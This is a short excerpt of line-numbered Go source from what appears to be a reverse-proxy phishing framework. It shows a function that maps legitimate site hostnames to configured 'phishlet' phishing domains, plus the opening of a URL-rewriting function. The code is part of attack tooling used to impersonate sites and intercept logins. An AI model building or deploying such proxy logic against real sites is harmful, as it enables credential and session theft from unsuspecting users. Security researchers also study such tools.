(hostname string)
| 1721 | } |
| 1722 | |
| 1723 | func (p *HttpProxy) replaceHostWithPhished(hostname string) (string, bool) { |
| 1724 | if hostname == "" { |
| 1725 | return hostname, false |
| 1726 | } |
| 1727 | prefix := "" |
| 1728 | if hostname[0] == '.' { |
| 1729 | prefix = "." |
| 1730 | hostname = hostname[1:] |
| 1731 | } |
| 1732 | for site, pl := range p.cfg.phishlets { |
| 1733 | if p.cfg.IsSiteEnabled(site) { |
| 1734 | phishDomain, ok := p.cfg.GetSiteDomain(pl.Name) |
| 1735 | if !ok { |
| 1736 | continue |
| 1737 | } |
| 1738 | for _, ph := range pl.proxyHosts { |
| 1739 | if hostname == combineHost(ph.orig_subdomain, ph.domain) { |
| 1740 | return prefix + combineHost(ph.phish_subdomain, phishDomain), true |
| 1741 | } |
| 1742 | if hostname == ph.domain { |
| 1743 | return prefix + phishDomain, true |
| 1744 | } |
| 1745 | } |
| 1746 | } |
| 1747 | } |
| 1748 | return hostname, false |
| 1749 | } |
| 1750 | |
| 1751 | func (p *HttpProxy) replaceUrlWithPhished(u string) (string, bool) { |
| 1752 | r_url, err := url.Parse(u) |
no test coverage detected